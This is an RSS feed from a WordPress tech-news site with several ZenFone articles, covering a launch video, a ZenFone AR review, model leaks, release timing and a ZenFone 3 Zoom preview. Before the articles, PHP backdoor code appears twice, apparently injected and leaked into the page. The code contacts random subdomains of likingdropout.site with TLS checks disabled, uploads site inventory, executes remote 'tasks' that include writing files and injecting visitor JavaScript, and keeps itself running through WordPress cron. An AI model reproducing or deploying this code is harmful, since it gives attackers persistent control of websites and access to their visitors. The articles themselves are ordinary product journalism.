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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ZenFone – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 28 Feb 2018 13:49:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ZenFone – Brief News https://briefnews.eu 32 32 Watch ASUS’ Zenfone 5Z launch in under 9 minutes! https://briefnews.eu/watch-asus-zenfone-5z-launch-in-under-9-minutes/ https://briefnews.eu/watch-asus-zenfone-5z-launch-in-under-9-minutes/#respond Wed, 28 Feb 2018 13:49:50 +0000 http://briefnews.eu/watch-asus-zenfone-5z-launch-in-under-9-minutes/

When you’re going up against serious mobile heavyweights, carving out a little bit of MWC for yourself can be tough. Maybe that’s why ASUS held its Zenfone 5/5Z launch on the second day of the show (and that’s not counting the pre-event press days). Either way, company CEO Jerry Shen was more than happy to enjoy his time on stage and tell us all about what’s new with Zenfone. Catch up on the whole affair right here.

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]]> https://briefnews.eu/watch-asus-zenfone-5z-launch-in-under-9-minutes/feed/ 0 ASUS ZenFone AR review: A ‘better’ Tango phone doesn’t mean much https://briefnews.eu/asus-zenfone-ar-review-a-better-tango-phone-doesnt-mean-much/ https://briefnews.eu/asus-zenfone-ar-review-a-better-tango-phone-doesnt-mean-much/#respond Sat, 19 Aug 2017 14:10:43 +0000 http://briefnews.eu/asus-zenfone-ar-review-a-better-tango-phone-doesnt-mean-much/

Google’s Tango augmented reality technology isn’t new, and its debut last year on Lenovo’s Phab2 Pro left a lot to be desired. I mean, honestly, as neat as AR apps can be, an enormous phone with a mid-range chipset wasn’t the best vehicle for them. Meanwhile, ASUS was fine with waiting, and that has made all the difference. The new ZenFone AR ($ 599+) is better than Lenovo’s earlier Tango phone by almost every measure that matters, and it supports Google’s Daydream VR platform, to boot. The idea of a phone that’s as good at augmented reality as it is at virtual reality is tantalizing, but I’m not convinced the ZenFone AR is going to make a believer out of anyone.

Hardware and design

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If you looked at the ZenFone AR straight on, I doubt you’d remember anything about it. It’s a slab of a phone with a 5.7-inch AMOLED screen, an 8-megapixel camera and a sluggish fingerprint sensor built into the home button. Pretty drab, though the glass face and brushed metal edges feel sturdy enough. Meanwhile, you’ll find a now-standard USB-C port on the phone’s bottom edge for charging and data transfer, along with a tray for two nano-SIMs and a microSD card on the phone’s left side. Be careful, though: While the rest of the phone is well built, the tray is so flimsy that I had trouble popping in a SIM card.

As with Lenovo’s Tango phone, though, things get much more interesting when you flip the device over. For Tango’s space-sensing powers to work, it needs three cameras, all of which are clustered together under a dark metal plate. It’s a neat flourish that breaks up all the faux leather covering the phone’s back, a design choice that made me instantly nostalgic for the days of the LG G4 and Samsung’s Note Edge. To be clear, the ZenFone isn’t as luxurious as those earlier phones, but it sure is distinct: For better and worse, no other flagship that’s come out this year feels quite like the ZenFone AR.

Other factors make the ZenFone a distinctive option, for better or worse. ASUS managed to squeeze a standard headphone jack in here, which is always nice to see when this handy connector is teetering on the edge of extinction. Less nice is the lack of any water resistance. This won’t be a deal-breaker for everyone, but it would’ve been nice to see on such a pricey phone. Thankfully, what’s inside counts for a lot: The ZenFone AR packs a Qualcomm Snapdragon 821 chipset and an Adreno 530 GPU. Yes, we know, those specs are a little last year. There’s still plenty of life in this silicon, though, and this time it’s paired with either 6GB of RAM and 64GB of storage, or 8GB of RAM and 128GB of storage — we’ve been testing the latter.

Display and sound

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The ZenFone’s exterior design feels pretty ho-hum, but its 5.7-inch AMOLED screen is pleasantly surprising. It runs at the standard Quad HD (2,560 x 1,440 resolution), so everything’s nice and crisp, and viewing angles are excellent as well. You’d expect an AMOLED screen to feature some bold colors, and this panel definitely does. More impressive are the thorough screen calibration options ASUS offers. By default, the screen runs in an über-vibrant “Super Color” mode, but you can quickly switch into a more conservative color temperature if that’s your speed. And if that’s not right either, you can fiddle with the hue and saturation until you’ve got it just right — even if that means turning the screen black and white.

The ZenFone’s single speaker is better than expected too. While most phone speakers sound pretty wimpy, this one gets very loud and delivers thick, substantial audio with minimal distortion. There’s also an “Outdoors” mode that flattens the sound and effectively kills the bass — all in the name of improving audio quality when you’re traipsing around outside. That might not sound great — and it doesn’t, really — but it still helped keep my podcasts loud and listenable during my walks to and from the subway. Things get better when you plug in some headphones, thanks to a handful of optimization tools — one tunes audio depending on what kind of cans you’ve just plugged in, and DTS’ Headphone X simulates more spacious environments, to make music and movies sound more immersive. The latter makes more of a difference, to the point that I made sure to have it on every time I fired up a Spotify playlist.

Software

Wow. While companies like Samsung and HTC have tried to pursue cleanliness, ASUS seems to value flexibility over subtlety. The result is a version of Android 7.0 Nougat that’s loaded — maybe even overloaded — with flourishes and features. Some things are more obvious than others. Swiping up from the home screen invokes a grid of settings for managing ASUS’ ZenUI, including options for swapping out icon packs, installing new themes and changing how your home screen panels animate as you swipe through them. Not enough for you? There’s a Moto-like always-on screen mode that keeps the time and date visible on the ZenFone’s display, and it seems to have a negligible effect on battery life.

ASUS’ customizations extend beyond cosmetics too. If thumbing through a list of apps has gotten old, you can draw letters on the screen to launch apps instead. There’s also a one-handed mode that shrinks the screen to a more manageable size with a double tap of the home button. This is helpful for folks who would prefer a smaller screen, except the shrunken display window sticks to the left side of the screen, with no clear way to move it. (After some Googling, it turns out you have to long-press the top of the window, then drag it around.) Meanwhile, the included Optiflex app purports to make apps launch more quickly … somehow. As mentioned earlier, the version of the phone we’re testing has 8GB of RAM, so it seems like launch data is just being kept in RAM to keep everything running smoothly. The thing is, while ASUS says apps can launch nearly twice as fast as normal with Optiflex running, I never noticed a significant difference.

So yeah, there’s a lot of stuff going on here, but thankfully, most of it is easy to ignore. Some people will surely appreciate all of the options ASUS offers here, but fans of stock Android will want to run, not walk, away from this thing.

Camera

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At the heart of ASUS’ camera cluster is a 23-megapixel sensor that, in addition to helping augment reality, also happens to take pretty good pictures. If I sound surprised, I am. Remember, this is the company that once built a smartphone-camera hybrid but then forgot to make that camera particularly good. Thankfully, most of the test shots I captured with the ZenFone AR were filled with detail and bright, generally accurate colors. Thanks to the inclusion of three autofocus methods (laser, phase detection and the bog-standard contrast), locking on to subjects is a quick affair. Even low-light performance isn’t too bad; you’ll get a decent amount of grain, but the blurriness and soft edges are mitigated somewhat by 4-axis optical image stabilization.

You won’t have to look hard to find smartphones with better cameras — say, the S8s or the HTC U11 — but the ZenFone is capable of producing perfectly respectable photos. Ditto for the front-facing 8-megapixel camera, which dutifully churned out crisp, handsome selfies … until I went overboard with Beauty mode. Suffice it to say it doesn’t take much fiddling to turn an innocent self-portrait into some sort of alien caricature. And that’s just one of the photo modes ASUS included here — there are 19 more, only a handful of which are actually useful. HDR Pro and Super Resolution, which combines multiple images into one highly detailed one, are handy, even if the former occasionally makes for blown-out shots. Others, like the janky depth-of-field mode, never worked as well as they should have. And don’t get me started on Children mode, which allows you to play audio clips of lousy trumpets, among other things, to coax kids into smiling. I found few of these options worth using regularly, but I guess there’s something to be said about the camera’s flexibility.

Living with Tango

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Google’s vision of a future with devices that sense the world around them is a potentially game-changing one, and now one of its biggest rivals is embracing it too. Needless to say, there’s a real chance that your next phone (or maybe your next-next phone) will support augmented reality. For Tango, though, the progress has been slow. It’s been a little less than a year since the first Tango phone launched, and the number of available apps hasn’t grown much; there are around 50 now, as compared with 40 or so in 2016. Some of Tango’s functional issues haven’t been solved, either: a decent chunk of available apps still have trouble detecting surfaces and remembering where objects or markers are.

Generally speaking, apps fall into three buckets: games, utilities and miscellaneous stuff. Tango games like Phantogeist, a first-person AR shooter, remain a lot of fun — I spent about an hour wandering through the office, disrupting meetings in search of foes to blast with my lightning gun. It’s perhaps the most action-packed Tango game you’ll find, but it also highlights some of the biggest challenges for developing Tango content: Enemy orbs still float through walls the phone should be able to detect, and there’s nothing to keep you coming back once that initial wave of novelty wears off. Hot Wheels Track Builder plops you into an ersatz workshop where you can tinker with elaborate racetracks and launch cars on them. Unfortunately, the bits you plop down are prone to wandering, forcing you to reset your view once in a while. That’s the thing about Tango games right now: Even the stuff that’s been out since Tango launched can feel a little unfinished.

The utilitarian apps haven’t changed much, which is fine, since they worked fairly well the first time around. You can still measure things with Google’s Measure app with some degree of accuracy, or plop virtual Wayfair furniture into the space around you to see how it all fits. Maybe the most impressive new addition comes from BMW, which lets you virtually poke around a mostly life-size i3 or i8; you can even fire up the windshield wipers. Occasional tracking issues aside (Measure sometimes offers incorrect figures because it’s harder than expected to place the first marker), these apps were generally free of major issues. That’s more important than you’d think: While the games offer a brief respite from reality, Tango’s potential to help people get things done is what will drive more people to embrace AR.

Then there’s the other stuff. The best current example in the Play Store is an app from the Wall Street Journal that shows you a three-dimensional table visualizing the rises and falls of the US stock market. It works, but using it isn’t particularly intuitive, and the app offers little extra functionality; once you home in on a company, you can check its stock price and glance at a few relevant headlines. If anything, it demonstrates one of the most crucial challenges facing augmented reality developers: How do you present information in a way that makes valuable use of the “space” AR provides? With augmented reality being such a nascent technology, good answers are hard to come by.

Like the last time I tested Tango, the experience felt like a slice of the future when everything worked the way it’s supposed to. Unfortunately, the novelty of most Tango apps wears off quickly. That’s partially a sales problem — if there were more Tango phones out in the world, developers would have more of an incentive to build great experiences for it. For now, though, the Tango remains a promising platform held back by its limited appeal.

Performance and battery

As mentioned, the ZenFone AR packs a Qualcomm Snapdragon 821, a chipset from last year that still packs a punch. Despite ASUS’s heavy touch with its software, the ZenFone ran smoothly whether I was launching apps or furiously multitasking in an effort to stymie the phone. In day-to-day use, you’d be hard-pressed to tell the difference between this thing and a Snapdragon 835-powered device … unless you’re a fan of visually intense games and VR content. I noticed occasional moments of lag and some visual tearing while playing high-end titles like Afterpulse, as well as when I had the ZenFone plugged into Google’s Daydream VR headset. These instances are the exception, not the rule, though, and it’s nice to finally see a Tango phone that doesn’t skimp on the horsepower.

ASUS ZenFone AR Galaxy S8 Plus LG G6 OnePlus 5 Moto Z Force
AndEBench Pro 13,711 16,064 10,322 17,456 16,455
3DMark IS Unlimited 30,634 35,626 30,346 40,081 28,964
GFXBench 1080p Manhattan Offscreen (fps) 46 55 42 60 49
CF-Bench 30,409 64,441 29,748 78,935 45,803

I only wish I could say the same about the ZenFone’s battery. There’s a 3,300mAh cell tucked inside, which just barely got me through most workdays; I’d pull the phone off the charger between 7 AM and 8 AM, and it would be right on the edge of death by 6 PM. Things got worse when I spent time playing Daydream VR games or using Tango apps for more than a few minutes. Unless you’re very judicious, you’ll have to charge the phone promptly every night. Meanwhile, in Engadget’s battery rundown test, the ZenFone AR looped an HD video with screen brightness set to 50 percent for just over 10 hours before finally dying. That’s well short of the Galaxy S8 and OnePlus 5, and even the HTC U11, a device with a smaller battery.

The competition

I’m obliged to mention Lenovo’s Phab2 Pro, since it’s literally the only other choice for would-be Tango users, but there’s little reason to take the plunge. Sure, its software is a little tidier, and it has a bigger battery, but otherwise, we’re working with a bigger, slower phone that will never get a Nougat update. At $ 499, it’s markedly cheaper than the ZenFone AR, but anyone considering splurging on a Tango phone should definitely shell out the extra money.

If you’re not strictly looking for a Tango device, you have plenty of powerful alternatives. As fragile as it can be, I’m a big fan of the HTC U11 — it sports one of the nicest smartphone cameras around, and the company’s Android skin is much, much cleaner. There are plenty of gimmicks on board, but don’t let them distract you: At its core, the U11 is an undeniably great smartphone. Ditto for either of the Galaxy S8s, which often go on sale and pair top-tier performance with some of the most beautiful mobile hardware available today.

Wrap-up

Lenovo’s Phab2 Pro might have been first, but the ZenFone AR’s superior hardware makes it the best Tango device yet. That’s not really saying much, though: The Tango experience isn’t much better than it was a year ago, and there still isn’t much there to win over people who haven’t already bought into Google’s AR vision. If you’re already tantalized by the potential of augmented reality to change how we see the world, the ZenFone AR is worth looking into. For literally everyone else who just wants a damn good all-around smartphone, there’s little here for you.

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Last year’s Asus’ ZenFone 3 line of mobile devices included a ton of spinoffs, including the ZenFone 3 Deluxe, ZenFone 3 Laser and the dual-camera ZenFone 3 Zoom this past January. Apparently the potentially confusing naming conventions are going to continue, as Asus just accidentally leaked four new ZenFone 4 models onto its own website, including updated basic, Selfie and Max models. What’s new here is the Selfie Pro, an upgraded handset with two cameras on the front and upgraded specs inside. Does the world really need a professional selfie phone, though?

The leaked handsets could include the aforementioned ZenFone 4 Selfie model, which was shown to have a Snapdragon 430 chipset, a 720p 5.5-inch IPS display and two cameras (20MP and 8MP) on the front. The Selfie Pro, then, might have an upgraded Snapdragon 625 chipset, a 5.5-inch AMOLED screen at 1080p, and the front two cameras come in at 25MP and 5MP. According to the listing, the Pro model will cost an extra 100 Euro over the €399 of the basic ZenFone 4 Selfie.

The removed listings also show a ZenFone 4 basic model with the same display as the Selfie Pro above, a Snapdragon 630 processor, 4GB of RAM and 64GB of expandable storage. There’s also a 3,300mAh battery to keep the thing charged for longer periods. Finally, Asus’ listing showed off the ZenFone 4 Max, which seems to have a smaller battery, a Snapdragon 450 processor, 3GB of RAM and 32GB of expandable storage memory, and a smaller screen. There’s no word yet on if, when or where these devices will be available.

Via: The Verge

Source: Android Police

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]]> https://briefnews.eu/asus-leaks-four-zenfone-4-models-on-its-own-website/feed/ 0 ASUS’ Tango-powered ZenFone AR will hit the US in July https://briefnews.eu/asus-tango-powered-zenfone-ar-will-hit-the-us-in-july/ https://briefnews.eu/asus-tango-powered-zenfone-ar-will-hit-the-us-in-july/#respond Tue, 30 May 2017 00:51:19 +0000 http://briefnews.eu/asus-tango-powered-zenfone-ar-will-hit-the-us-in-july/

We already knew from Google I/O that ASUS’ ZenFone AR, the second-ever Tango phone (and the first to also support Daydream), was getting close to its official launch, and that it’s coming to the US as a Verizon exclusive this summer. Thankfully, we now know when people will actually be able to buy one. Right after ASUS’ pre-Computex keynote today, I sat down with CEO Jerry Shen who revealed that this device will finally be launching in Taiwan in mid-June, followed by a US launch as soon as end of June or early July.

It’s been six months since we last spent quality time with the ZenFone AR, and believe us: all the additional time spent on it has been worth it. According to ASUS’ own tests, out of the 100+ existing Tango AR apps, about 40 to 50 of them now run stably on the ZenFone AR, and the list is expected to grow as more apps are updated for Android Nougat. Shen added that the number of Tango apps is expected to reach over 1,000 next year, and his company will be doing its part by hosting AR developer conferences with Google — there’ll be one in Taiwan in July.

During my brief hands-on today I got to try the BMW i Visualiser app, Lowe’s Vision, iStaging (a home decorating app from Taiwan) and Matterport Scenes, all of which ran surprisingly smoothly with great tracking — a far cry from the laggy experience Chris Velazco and I had on the bulkier and underpowered Lenovo Phab 2 Pro. This is all thanks to the extra help from Qualcomm for fine-tuning the Snapdragon 821 horsepower chipset inside the ZenFone AR. Specifically, the optimization focused deeply on the chipset’s Hexagon 680 digital signal processor, which is pushed to its full potential using the latest coding. Of course, the 8GB of RAM helps, too, but there will also be a variant with 6GB RAM which should still be plentiful.

The difference between this and what we saw on the Phab 2 Pro was often staggering, enough to make the ZenFone AR the best choice for anyone looking to dabble in mobile augmented reality. The only question remaining is whether ASUS will charge significantly more for its first Tango phone, so I asked Shen whether it would cost more than, say, a Samsung Galaxy S8 Plus, to which he chuckled and replied, “We wouldn’t dare to charge more than that.”

Chris Velazco contributed to this story.

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]]> https://briefnews.eu/asus-tango-powered-zenfone-ar-will-hit-the-us-in-july/feed/ 0 Asus ZenFone 3 Zoom’s high-end cameras are fueled by a beastly battery https://briefnews.eu/asus-zenfone-3-zooms-high-end-cameras-are-fueled-by-a-beastly-battery/ https://briefnews.eu/asus-zenfone-3-zooms-high-end-cameras-are-fueled-by-a-beastly-battery/#respond Sat, 25 Feb 2017 05:31:06 +0000 http://briefnews.eu/asus-zenfone-3-zooms-high-end-cameras-are-fueled-by-a-beastly-battery/ The Asus ZenFone Zoom 2 was a stunner of a midrange smartphone. It featured 3x optical zoom, great low-light camera performance, and an excellent battery life to boot. The latest addition to the Taipei, Taiwan-based company’s Zoom series continues in the original’s tradition. At the Consumer Electronics Show in Las Vegas in January, Asus took the wraps off the ZenFone Zoom 3, a smartphone with a top-of-the-line camera, massive battery, and shooting modes out the wazoo. Unfortunately, it’s now being delayed until the second quarter of 2017.

Impressive cameras

The ZenFone 3 Zoom, true to its namesake, features a dual-camera system capable of high degrees of optical zoom. It comprises a 12-megapixel camera with a f/1.7 aperture, a 25mm wide-angle lens, and a secondary 12-megapixel, 56mm camera that handles macro shots as close as 3.94 inches. The rig’s capable of up to 2.3x optical zoom, Asus says, and a new shooting mode called Portrait similar to the iPhone 7s’s “bokeh” mode: backgrounds of photos are softly blurred as subjects are brought to the fore.

A manual shooting mode exposes most of ZenFone’s toggles to intrepid photographers. Settings like white balance, exposure values, focus, ISO, and shutter speed are adjustable. And a Full Manual mode allows the user to override the phone’s automatic camera selection and chose from either the 25mm, f/1.7 lens of the main camera or the 56mm lens of the zoom camera.

More: Asus unveils the ZenFone AR, the world’s slimmest Tango smartphone

Autofocus is drastically improved on the ZenFone 3 Zoom too, thanks to a new solution that Asus calls TriTech+. Two phase-detection sensors on the ZenFone 3 Zoom’s camera pixels analyze the variations in light rays hitting the sensors and, in tandem with the other 12 million pixels on the ZenFone 3 Zoom’s sensor, focus continuously on subjects. The trifecta’s final bit, a second-generation laser focus technology with three times the range of comparable implementations on the market, helps the ZenFone 3 Zoom’s achieve a focus time of just 0.03 seconds.

The ZenFone 3 Zoom’s other photographic innovation is what Asus calls the SuperPixel, a technology that increases light sensitivity “dramatically” compared to the average smartphone. A 1.4-micron pixel size augments the camera’s dim-environment performance and reduces graininess, and a Sony IMX362 image sensor lets in more light.

The ZenFone 3 Zoom’s other camera touches are no less impressive. Four-axis optical image stabilization and three-axis electronic image stabilization minimizes shakiness and blurriness. A color-correction sensor automatically adjusts the photo pallets to look “natural” and “accurate.” And the phones’s front camera, not to be outdone by the dual-camera tech, sports a 13-megapixel lens and “screenflash,” a mode that uses the ZenFone’s display as a flash.

More: Asus goes compact with powerful VivoPC X gaming system

Finally, the ZenFone 3 Zoom’s shooters features three new modes: Super Resolution, 3MP Enhanced Low Light; and HDR. Super Resolution stitches four 12-megapixel photos to create a single image. Low Light mode combines four adjacent pixels to work as a single pixel that shoots better in low-light conditions and prevents blurring. And HDR mode layers an overexposed image atop an underexposed image to enhance details.

Hardware

The ZenFone 3 Zoom’s innovations don’t end with high-tech cameras. The handset boasts a sandblasted aluminum-alloy body that measures 0.31-inches thin and 0.37 lbs in weight, and a Qualcomm Snapdragon 625 processor and 5.5-inch Full HD (1920 x 1080 pixels) display shielded by Corning’s Gorilla Glass 5.

If there’s an undisputed hardware highlight, though, it’s the ZenFone 3 Zoom’s battery. The 5,000mAh cell has “one of the highest capacities of any smartphone,” Asus contends, and the largest in a smartphone of the Zoom’s thinness and lightness. And it features a unique reverse-charging capability that automatically juices plugged-in devices.

An Asus representative initially said the ZenFone 3 Zoom would be available in February 2017, but according to the company’s Facebook page, the phone was delayed until the second quarter. Asus will improve the phone’s specifications for its U.S. launch but did not say what would be changed. Either way, expect the ZenFone 3 Zoom to sell for $ 400 when it becomes available.

Updated on 02-24-2017 by Williams Pelegrin: Added information regarding the ZenFone 3 Zoom’s delay and pricing information.

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